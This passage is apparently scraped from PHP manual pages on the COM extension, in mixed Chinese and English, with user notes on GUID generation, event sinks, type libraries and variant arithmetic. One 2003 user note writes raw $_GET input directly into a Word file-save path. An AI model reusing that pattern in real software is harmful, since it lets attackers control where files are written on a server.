    if (function_exists('com_create_guid') === true) {
        if ($trim === true)
            return trim(com_create_guid(), '{}');
        else
            return com_create_guid();
    }

    // OSX/Linux
    if (function_exists('openssl_random_pseudo_bytes') === true) {
        $data = openssl_random_pseudo_bytes(16);
        $data[6] = chr(ord($data[6]) & 0x0f | 0x40);    // set version to 0100
        $data[8] = chr(ord($data[8]) & 0x3f | 0x80);    // set bits 6-7 to 10
        return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
    }

    // Fallback (PHP 4.2+)
    mt_srand((double)microtime() * 10000);
    $charid = strtolower(md5(uniqid(rand(), true)));
    $hyphen = chr(45);                  // "-"
    $lbrace = $trim ? "" : chr(123);    // "{"
    $rbrace = $trim ? "" : chr(125);    // "}"
    $guidv4 = $lbrace.
              substr($charid,  0,  8).$hyphen.
              substr($charid,  8,  4).$hyphen.
              substr($charid, 12,  4).$hyphen.
              substr($charid, 16,  4).$hyphen.
              substr($charid, 20, 12).
              $rbrace;
    return $guidv4;
}
?>
indrora 08-Nov-2015 07:09
If you're going to generate random UUIDs, at least make them conform:

* The uppermost byte of the third stanza must be 4
* the uppermost byte of the fourth stanza may be any of (8 9 a b)

see also: The wikipedia page for UUIDs: https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29
pavel.volyntsev(at)gmail 27-Aug-2015 12:37
Use more cryptographically strong algorithm to generate pseudo-random bytes and format it as GUID v4 string

function guidv4()
{
    if (function_exists('com_create_guid') === true)
        return trim(com_create_guid(), '{}');

    $data = openssl_random_pseudo_bytes(16);
    $data[6] = chr(ord($data[6]) & 0x0f | 0x40); // set version to 0100
    $data[8] = chr(ord($data[8]) & 0x3f | 0x80); // set bits 6-7 to 10
    return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
}
Alix Axel 16-Aug-2010 03:59
The phunction PHP framework (http://sourceforge.net/projects/phunction/) uses the following function to generate valid version 4 UUIDs:

<?php

function GUID()
{
    if (function_exists('com_create_guid') === true)
    {
        return trim(com_create_guid(), '{}');
    }

    return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
}

?>

The output generated by the sprintf() and mt_rand() calls is identical to com_create_guid() results.


Connect events from a COM object to a PHP object

  • ? com_create_guid
  • com_get_active_object ?
  • PHP Manual
  • COM 函数
  • Connect events from a COM object to a PHP object

com_event_sink

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

com_event_sink — Connect events from a COM object to a PHP object

说明

com_event_sink(variant $variant, object $sink_object, array|string|null $sink_interface = null): bool

Instructs COM to sink events generated by variant into the PHP object sink_object.

Be careful how you use this feature; if you are doing something similar to the example below, then it doesn't really make sense to run it in a web server context.

参数

variant

sink_object

sink_object should be an instance of a class with methods named after those of the desired dispinterface; you may use com_print_typeinfo() to help generate a template class for this purpose.

sink_interface

PHP will attempt to use the default dispinterface type specified by the typelibrary associated with variant, but you may override this choice by setting sink_interface to the name of the dispinterface that you want to use.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | sink_interface is nullable now.

示例

Example #1 COM event sink example

<?php
class IEEventSinker {
var $terminated = false;

function ProgressChange($progress, $progressmax) {
echo "Download progress: $progress / $progressmax\n";
}

function DocumentComplete(&$dom, $url) {
echo "Document $url complete\n";
}

function OnQuit() {
echo "Quit!\n";
$this->terminated = true;
}
}
$ie = new COM("InternetExplorer.Application");
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.example.org");
while(!$sink->terminated) {
com_message_pump(4000);
}
$ie = null;
?>

注释

Caution

Prior to PHP 8.0.0, calling exit() from any of the event handlers is not supported, and may cause PHP to hang. This can be worked around by throwing an exception from the event handler, catching the exception in the main code, and calling exit() from there.

参见

  • com_print_typeinfo() - Print out a PHP class definition for a dispatchable interface
  • com_message_pump() - Process COM messages, sleeping for up to timeoutms milliseconds

User Contributed Notes

veggie 25-Dec-2016 10:23
I got voice recognition working. I'm not sure why the way I called the sink function made it work but I'm more about results right now. This small example had me rolling on the floor laughing.

<?php
/*
 * Search this for more info on the voice stuff:
 * Automation Interfaces and Objects (SAPI 5.4)
 */

//directions:
//php friend.php
//then fire up windows voice recognition and turn it on and say stuff

$voice = new COM("SAPI.SpVoice");

print "Hit control+c to end.\n";
print "Friend: Hello friend!\n";

$voice->Speak("Hello friend!");

class listen
{

    function Recognition($StreamNumber, $StreamPosition, $RecognitionType, $ISpeechRecoResult)
    {

        $phrase = $ISpeechRecoResult->PhraseInfo;
        $text = $phrase->GetText();

        print "\nYou:$text\n";

        global $voice;
        $say = array('oh', 'nice', 'humm', 'interesting', 'you dont say', 'uh huh', 'right', 'what', 'ha ha', 'you have got to be joking', 'right back at you buddy');
        $idx = rand(0, count($say)-1);

        print "Friend: " . $say[$idx] . "\n";
        $voice->Speak($say[$idx]);

    }

}

$recog = new COM("SAPI.SpSharedRecognizer");

$context = $recog->CreateRecoContext();

//SRERecognition = 16 (default)
//SREAllEvents = 393215
//$context->EventInterests = 393215;

//try to listen to events on context
$listen = new listen(); //event handler
if (!com_event_sink($context, $listen, "RecognizerStateChange"))
{
    print "Unable to sink events\n";
    exit;
}

$grammar = $context->CreateGrammar();

$i = $grammar->DictationLoad();

$s = $grammar->DictationSetState(1); //1=on, 0=off

while(true)
{

    if(!com_message_pump(1000))
    {
        print ".";
    }

}

?>
fjortiz 14-Jul-2005 12:33
In case someone needs a skeleton sink for ADODB.Connection events:

class ADOConnectionEventSink    {

    function BeginTransComplete( $translevel, $objerror, $status, $objconn )    {
        return 0;
    }

    function CommitTransComplete( $objerror, $status, $objconn )    {
        return 0;
    }

    function RolbackTransComplete( $objerror, $status, $objconn )    {
        return 0;
    }

    function WillConnect ( $ConnectionString, $userid, $psword, $options, $status, $objconn )    {
        return 0;
    }

    function ConnectComplete ( $objerror, $status, $objconn)    {
        return 0;
    }

    function Disconnect( $status, $objConn )    {
        return 0;
    }

    function WillExecute ( $src, $cursortyp, $locktyp, $options, $status, $objcomm, $objrs, $objconn )    {
        return 0;
    }

    function ExecuteComplete ( $recaffected, $objerror, $status, $objcomm, $objrs, $objconn )    {
        return 0;
    }

    function InfoMessage ( $objerror, $status, $objconn)    {
        return 0;
    }
}

// later on...
$db = new COM("ADODB.Connection", NULL, $charPage);
$sink = new ADOConnectionEventSink();
com_event_sink($db, $sink, "ConnectionEvents");
//...


Returns a handle to an already running instance of a COM object

  • ? com_event_sink
  • com_load_typelib ?
  • PHP Manual
  • COM 函数
  • Returns a handle to an already running instance of a COM object

com_get_active_object

(PHP 5, PHP 7, PHP 8)

com_get_active_object — Returns a handle to an already running instance of a COM object

说明

com_get_active_object(string $prog_id, ?int $codepage = null): variant

com_get_active_object() is similar to creating a new instance of a com object, except that it will only return an object to your script if the object is already running. OLE applications use something known as the "Running Object Table" to allow well-known applications to be launched only once; this function exposes the COM library function GetActiveObject() to get a handle on a running instance.

参数

prog_id

prog_id must be either the ProgID or CLSID for the object that you want to access (for example Word.Application).

codepage

Acts in precisely the same way that it does for the com class.

返回值

If the requested object is running, it will be returned to your script just like any other COM object.

错误／异常

There are a variety of reasons why this function might fail, the most common being that the object is not already running. In that situation, the exception error code will be MK_E_UNAVAILABLE; you can use the getCode method of the exception object to check the exception code.

更新日志

版本 | 说明
8.0.0 | codepage is nullable now.

注释

Warning

Using com_get_active_object() in a web server context is not always a smart idea. Most COM/OLE applications are not designed to handle more than one client concurrently, even (or especially!) Microsoft Office. You should read » Considerations for Server-Side Automation of Office for more information on the general issues involved.

User Contributed Notes

gerrit at timingteam dot nl 04-Jan-2009 09:25
Please note the next behavior (Apache 2.2.8, W2K, WXP)

If Apache runs as a service, com_get_active_object() always returns MK_E_UNAVAILABLE, even when it is definitely sure that the Running Object Table contains a reference to the required object.

If Apache runs in a console, com_get_active_object()  returns the object handle as required.

This apparently is a Windows issue.


载入 Typelib

  • ? com_get_active_object
  • com_message_pump ?
  • PHP Manual
  • COM 函数
  • 载入 Typelib

com_load_typelib

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

com_load_typelib — 载入 Typelib

说明

com_load_typelib(string $typelib, bool $case_insensitive = true): bool

载入类型库并在引擎中注册它们的常量，就像使用 define() 定义一样。

注意，使用 com.typelib-file php.ini 配置设置来预载入和注册常量会更加有效，尽管不是那么灵活。

如果开启 com.autoregister-typelib，然后 PHP 将在实例化 COM 对象时尝试自动注册与其相关的常量。这取决于 COM 对象本身提供的接口并且不总是可用。

参数

typelib

typelib 可以是以下其中一个：

  • .tlb 文件或者包含类型库的可执行模块的文件名。

  • 类型库 GUID，后跟版本号，例如 {00000200-0000-0010-8000-00AA006D2EA4},2,0。

  • 类型库名称，例如 Microsoft OLE DB ActiveX Data Objects 1.0 Library。

PHP 将会尝试按照此顺序解析类型库，随着该列表的推进，该过程变得越来越昂贵；通过物理枚举注册表来按名称搜索类型库，直到找到匹配项。

case_insensitive

case_insensitive 的行为正好与 define() 中的 $case_insensitive 参数相反。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

tomas dot burba at softneta dot lt 12-Mar-2012 11:38
I had some problems with a third-party Word-controlling code that is somewhat similar to Richard's example. (Word 2007 SP1, XP SP2.) Rewrote some parts according to that example, no luck. Error messages from Word were crazy:

"Bad parameter" -- it didn't like wdGoToBookmark but was ok with its numeric equivalent -1;

"Call to undefined method variant::SaveAs()" -- the same with Save() that was suitable in my case, so no options were remaining.

But then I ran the example via php.exe in the command line, and it worked! Eventually it turned out that Apache service must be run as some real user instead of SYSTEM.
RQuadling at GMail dot com 17-Jun-2008 03:40
Some libraries load other libraries as part of their functionality. For example Crystal Reports Object Factory uses the CreateObject() method to create an instance of a Crystal Design RunTime Application. If you want to use constants defined in the newly loaded library, you will need to manually register the library - even with com.autoregister_typelib set to true.

<?php
echo 'com.autoregister_typelib = ', ini_get('com.autoregister_typelib'), PHP_EOL;

$o_CrObjectFactory = New COM('CrystalReports11.ObjectFactory.1');

$o_CrApplication = $o_CrObjectFactory->CreateObject("CrystalDesignRunTime.Application");

echo 'Will not be defined : ', crOpenReportByDefault, PHP_EOL;

com_load_typelib('CrystalDesignRunTime.Application');

echo 'Will now be defined : ', crOpenReportByDefault, PHP_EOL;
?>

outputs ...

com.autoregister_typelib = 1
Will not be defined :
Notice: Use of undefined constant crOpenReportByDefault - assumed 'crOpenReportByDefault' in C:\refl.php on line 8
crOpenReportByDefault
Will now be defined : 0
03-May-2004 07:18
In case any of you were wondering what com_load_typelib actually DOES, I have found that it loads constants\enums that the COM obeject has defined.  The example below is using the Nero COM object (from Nero Burning rom, version 6+).  The Nero object defines a bunch of constants, but they can not be used as PHP constants unless you use the mentioned function.  So the example below will work just fine:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
com_load_typelib("Nero.Nero");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

But this one will not, since PHP will return a message saying that the constant is undefined:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

This one took me a while to figure out, hope it helps.

Also, check out http://www.php.net/manual/en/faq.com.php to find out how to get COM events working in PHP.
ojpp at webdevfm dot com 30-Jan-2004 06:33
Hello PHP community, I want to help in a problem I found in this COM built-in function: com_load_typelib(), when I executed it in order to open a COM Server process (for example: Word, Excel, etc.) I was in trouble to release the object from memory, I figured it out, this is the solution:

Change a configuration in the php.ini:

; autoregister constants of a components typlib on com_load()
com.autoregister_typelib = true

When com.autoregister_typelib directive is true, PHP parser manage the COM server type library, I hope it helps.
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:55
<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.


Process COM messages, sleeping for up to timeoutms milliseconds

  • ? com_load_typelib
  • com_print_typeinfo ?
  • PHP Manual
  • COM 函数
  • Process COM messages, sleeping for up to timeoutms milliseconds

com_message_pump

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

com_message_pump — Process COM messages, sleeping for up to timeoutms milliseconds

说明

com_message_pump(int $timeout_milliseconds = 0): bool

This function will sleep for up to timeout_milliseconds milliseconds, or until a message arrives in the queue.

The purpose of this function is to route COM calls between apartments and handle various synchronization issues. This allows your script to wait efficiently for events to be triggered, while still handling other events or running other code in the background. You should use it in a loop, as demonstrated by the example in the com_event_sink() function, until you are finished using event bound COM objects.

参数

timeout_milliseconds

The timeout, in milliseconds.

If you do not specify a value for timeout_milliseconds, then 0 will be assumed. A 0 value means that no waiting will be performed; if there are messages pending they will be dispatched as before; if there are no messages pending, the function will return false immediately without sleeping.

返回值

If a message or messages arrives before the timeout, they will be dispatched, and the function will return true. If the timeout occurs and no messages were processed, the return value will be false.

User Contributed Notes

There are no user contributed notes for this page.


Print out a PHP class definition for a dispatchable interface

  • ? com_message_pump
  • variant_abs ?
  • PHP Manual
  • COM 函数
  • Print out a PHP class definition for a dispatchable interface

com_print_typeinfo

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

com_print_typeinfo — Print out a PHP class definition for a dispatchable interface

说明

com_print_typeinfo(variant|string $variant, ?string $dispatch_interface = null, bool $display_sink = false): bool

The purpose of this function is to help generate a skeleton class for use as an event sink. You may also use it to generate a dump of any COM object, provided that it supports enough of the introspection interfaces, and that you know the name of the interface you want to display.

参数

variant

variant should be either an instance of a COM object, or be the name of a typelibrary (which will be resolved according to the rules set out in com_load_typelib()).

dispatch_interface

The name of an IDispatch descendant interface that you want to display.

display_sink

If set to true, the corresponding sink interface will be displayed instead.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • com_event_sink() - Connect events from a COM object to a PHP object
  • com_load_typelib() - 载入 Typelib

User Contributed Notes

Richard Lynch 03-Oct-2006 04:51
In my particular version of PHP, the second and third arguments are not, in fact, optional.

Passing in '' for both, however, yielded a bucketful of information.

YMMV
csaba at alum dot mit dot edu 14-Feb-2005 12:49
com_print_typeinfo is really useful if you're trying to figure out what properties and methods you have access to.  For example, I might do:

<?php
    $oExplorer = new COM("Shell.Application");
    com_print_typeinfo($oExplorer);
?>

The first line shows me the class of the object (what VBScript calls 'typename'), in my case IShellDispatch4.  It's frequently the case that if you plunk that in as the second argument to com_print_typeinfo, you get way more methods/properties coming back.  Thus:

<?php
    $oExplorer = new COM("Shell.Application");
    com_print_typeinfo($oExplorer, "IShellDispatch4");
?>

Furthermore, you might get additional functions listed if you try lower number suffixes (or not).  At any rate, it would be useful for PHP to have a typename function like VBScript does.  For example, if you iterate through the Windows of $oExplorer you get both IE and Explorer windows and typename is the easy way to differentiate between them.  Here's what I'm using:

<?php
    function typeName($objCOM) {
    if (empty($objCOM)) return "no COM object";
    if (gettype($objCOM)!="object") return "not a COM object";
    ob_start();
    com_print_typeinfo($objCOM);
    $typeInfo = ob_get_contents();
    ob_end_clean();
    $pattern = "/^\\s*class (.*) \\{/";
    if (!($matchCnt = preg_match($pattern, $typeInfo, $aMatch))) return "Not found";
    return $aMatch[1];
}
?>

Csaba Gabor from Vienna


Returns the absolute value of a variant

  • ? com_print_typeinfo
  • variant_add ?
  • PHP Manual
  • COM 函数
  • Returns the absolute value of a variant

variant_abs

(PHP 5, PHP 7, PHP 8)

variant_abs — Returns the absolute value of a variant

说明

variant_abs(mixed $value): variant

Returns the absolute value of a variant.

参数

value

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the absolute value of value.

错误／异常

Throws a com_exception on failure.

参见

  • abs() - 绝对值

User Contributed Notes

There are no user contributed notes for this page.


"Adds" two variant values together and returns the result

  • ? variant_abs
  • variant_and ?
  • PHP Manual
  • COM 函数
  • "Adds" two variant values together and returns the result

variant_add

(PHP 5, PHP 7, PHP 8)

variant_add — "Adds" two variant values together and returns the result

说明

variant_add(mixed $left, mixed $right): variant

Adds left to right using the following rules (taken from the MSDN library), which correspond to those of Visual Basic:

Variant Addition Rules
If | Then
Both expressions are of the string type | Concatenation
One expression is a string type and the other a character | Addition
One expression is numeric and the other is a string | Addition
Both expressions are numeric | Addition
Either expression is NULL | NULL is returned
Both expressions are empty | Integer subtype is returned

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result.

错误／异常

Throws a com_exception on failure.

参见

  • variant_sub() - Subtracts the value of the right variant from the left variant value

User Contributed Notes

There are no user contributed notes for this page.


Performs a bitwise AND operation between two variants

  • ? variant_add
  • variant_cast ?
  • PHP Manual
  • COM 函数
  • Performs a bitwise AND operation between two variants

variant_and

(PHP 5, PHP 7, PHP 8)

variant_and — Performs a bitwise AND operation between two variants

说明

variant_and(mixed $left, mixed $right): variant

Performs a bitwise AND operation. Note that this is slightly different from a regular AND operation.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant AND Rules
If left is | If right is | then the result is
true | true | true
true | false | false
true | null | null
false | true | false
false | false | false
false | null | false
null | true | null
null | false | false
null | null | null

错误／异常

Throws a com_exception on failure.

参见

  • variant_or() - Performs a logical disjunction on two variants

User Contributed Notes

There are no user contributed notes for this page.


Convert a variant into a new variant object of another type

  • ? variant_and
  • variant_cat ?
  • PHP Manual
  • COM 函数
  • Convert a variant into a new variant object of another type

variant_cast

(PHP 5, PHP 7, PHP 8)

variant_cast — Convert a variant into a new variant object of another type

说明

variant_cast(variant $variant, int $type): variant

This function makes a copy of variant and then performs a variant cast operation to force the copy to have the type given by type.

This function wraps VariantChangeType() in the COM library; consult MSDN for more information.

参数

variant

The variant.

type

type should be one of the VT_XXX constants.

返回值

Returns a variant of given type.

参见

  • variant_set_type() - Convert a variant into another type "in-place"

User Contributed Notes

There are no user contributed notes for this page.


Concatenates two variant values together and returns the result

  • ? variant_cast
  • variant_cmp ?
  • PHP Manual
  • COM 函数
  • Concatenates two variant values together and returns the result

variant_cat

(PHP 5, PHP 7, PHP 8)

variant_cat — Concatenates two variant values together and returns the result

说明

variant_cat(mixed $left, mixed $right): variant

Concatenates left with right and returns the result.

This function is notionally equivalent to $left . $right.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result of the concatenation.

错误／异常

Throws a com_exception on failure.

参见

  • 字符串运算符 for the string concatenation operator

User Contributed Notes

There are no user contributed notes for this page.


Compares two variants

  • ? variant_cat
  • variant_date_from_timestamp ?
  • PHP Manual
  • COM 函数
  • Compares two variants

variant_cmp

(PHP 5, PHP 7, PHP 8)

variant_cmp — Compares two variants

说明

variant_cmp(
mixed $left,
mixed $right,
int $locale_id = LOCALE_SYSTEM_DEFAULT,
int $flags = 0
): int

Compares left with right.

This function will only compare scalar values, not arrays or variant records.

参数

left

The left operand.

right

The right operand.

locale_id

A valid Locale Identifier to use when comparing strings (this affects string collation).

flags

flags can be one or more of the following values OR'd together, and affects string comparisons:

Variant Comparision Flags
value | meaning
NORM_IGNORECASE | Compare case insensitively
NORM_IGNORENONSPACE | Ignore nonspacing characters
NORM_IGNORESYMBOLS | Ignore symbols
NORM_IGNOREWIDTH | Ignore string width
NORM_IGNOREKANATYPE | Ignore Kana type
NORM_IGNOREKASHIDA | Ignore Arabic kashida characters

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns one of the following:

Variant Comparision Results
value | meaning
VARCMP_LT | left is less than right
VARCMP_EQ | left is equal to right
VARCMP_GT | left is greater than right
VARCMP_NULL | Either left, right or both are null

User Contributed Notes

There are no user contributed notes for this page.


Returns a variant date representation of a Unix timestamp

  • ? variant_cmp
  • variant_date_to_timestamp ?
  • PHP Manual
  • COM 函数
  • Returns a variant date representation of a Unix timestamp

variant_date_from_timestamp

(PHP 5, PHP 7, PHP 8)

variant_date_from_timestamp — Returns a variant date representation of a Unix timestamp

说明

variant_date_from_timestamp(int $timestamp): variant

Converts timestamp from a unix timestamp value into a variant of type VT_DATE. This allows easier interopability between the unix-ish parts of PHP and COM.

参数

timestamp

A unix timestamp.

返回值

Returns a VT_DATE variant.

参见

  • variant_date_to_timestamp() - Converts a variant date/time value to Unix timestamp
  • mktime() - 取得一个日期的 Unix 时间戳
  • time() - 返回当前的 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


Converts a variant date/time value to Unix timestamp

  • ? variant_date_from_timestamp
  • variant_div ?
  • PHP Manual
  • COM 函数
  • Converts a variant date/time value to Unix timestamp

variant_date_to_timestamp

(PHP 5, PHP 7, PHP 8)

variant_date_to_timestamp — Converts a variant date/time value to Unix timestamp

说明

variant_date_to_timestamp(variant $variant): ?int

Converts variant from a VT_DATE (or similar) value into a Unix timestamp. This allows easier interopability between the Unix-ish parts of PHP and COM.

参数

variant

The variant.

返回值

Returns a unix timestamp, or null on failure.

参见

  • variant_date_from_timestamp() - Returns a variant date representation of a Unix timestamp
  • date() - 格式化 Unix 时间戳
  • strftime() - 根据区域设置格式化本地时间/日期

User Contributed Notes

radek at tetik dot cz 25-Dec-2015 03:21
variant_date_to_timestamp() assumes the COM date in the current Windows time zone and converts it to the current PHP time zone


Returns the result from dividing two variants

  • ? variant_date_to_timestamp
  • variant_eqv ?
  • PHP Manual
  • COM 函数
  • Returns the result from dividing two variants

variant_div

(PHP 5, PHP 7, PHP 8)

variant_div — Returns the result from dividing two variants

说明

variant_div(mixed $left, mixed $right): variant

Divides left by right and returns the result.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Division Rules
If | Then
Both expressions are of the string, date, character, boolean type | Double is returned
One expression is a string type and the other a character | Division and a double is returned
One expression is numeric and the other is a string | Division and a double is returned.
Both expressions are numeric | Division and a double is returned
Either expression is NULL | NULL is returned
right is empty and left is anything but empty | A com_exception with code DISP_E_DIVBYZERO is thrown
left is empty and right is anything but empty. | 0 as type double is returned
Both expressions are empty | A com_exception with code DISP_E_OVERFLOW is thrown

错误／异常

Throws a com_exception on failure.

参见

  • variant_idiv() - Converts variants to integers and then returns the result from dividing them

User Contributed Notes

There are no user contributed notes for this page.


Performs a bitwise equivalence on two variants

  • ? variant_div
  • variant_fix ?
  • PHP Manual
  • COM 函数
  • Performs a bitwise equivalence on two variants

variant_eqv

(PHP 5, PHP 7, PHP 8)

variant_eqv — Performs a bitwise equivalence on two variants

说明

variant_eqv(mixed $left, mixed $right): variant

Performs a bitwise equivalence on two variants.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

If each bit in left is equal to the corresponding bit in right then true is returned, otherwise false is returned.

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the integer portion of a variant

  • ? variant_eqv
  • variant_get_type ?
  • PHP Manual
  • COM 函数
  • Returns the integer portion of a variant

variant_fix

(PHP 5, PHP 7, PHP 8)

variant_fix — Returns the integer portion of a variant

说明

variant_fix(mixed $value): variant

Gets the integer portion of a variant.

参数

value

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

If value is negative, then the first negative integer greater than or equal to the variant is returned, otherwise returns the integer portion of the value of value.

错误／异常

Throws a com_exception on failure.

注释

Warning

This documentation is based on the MSDN documentation; it appears that this function is either the same as variant_int(), or that there is an error in the MSDN documentation.

参见

  • variant_int() - Returns the integer portion of a variant
  • variant_round() - Rounds a variant to the specified number of decimal places
  • floor() - 舍去法取整
  • ceil() - 进一法取整
  • round() - 对浮点数进行四舍五入

User Contributed Notes

There are no user contributed notes for this page.


Returns the type of a variant object

  • ? variant_fix
  • variant_idiv ?
  • PHP Manual
  • COM 函数
  • Returns the type of a variant object

variant_get_type

(PHP 5, PHP 7, PHP 8)

variant_get_type — Returns the type of a variant object

说明

variant_get_type(variant $variant): int

Returns the type of a variant object.

参数

variant

The variant object.

返回值

This function returns an integer value that indicates the type of variant, which can be an instance of com, dotnet or variant classes. The return value can be compared to one of the VT_XXX constants.

The return value for COM and DOTNET objects will usually be VT_DISPATCH; the only reason this function works for those classes is because COM and DOTNET are descendants of VARIANT.

参见

  • variant_set_type() - Convert a variant into another type "in-place"

User Contributed Notes

There are no user contributed notes for this page.


Converts variants to integers and then returns the result from dividing them

  • ? variant_get_type
  • variant_imp ?
  • PHP Manual
  • COM 函数
  • Converts variants to integers and then returns the result from dividing them

variant_idiv

(PHP 5, PHP 7, PHP 8)

variant_idiv — Converts variants to integers and then returns the result from dividing them

说明

variant_idiv(mixed $left, mixed $right): variant

Converts left and right to integer values, and then performs integer division.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Integer Division Rules
If | Then
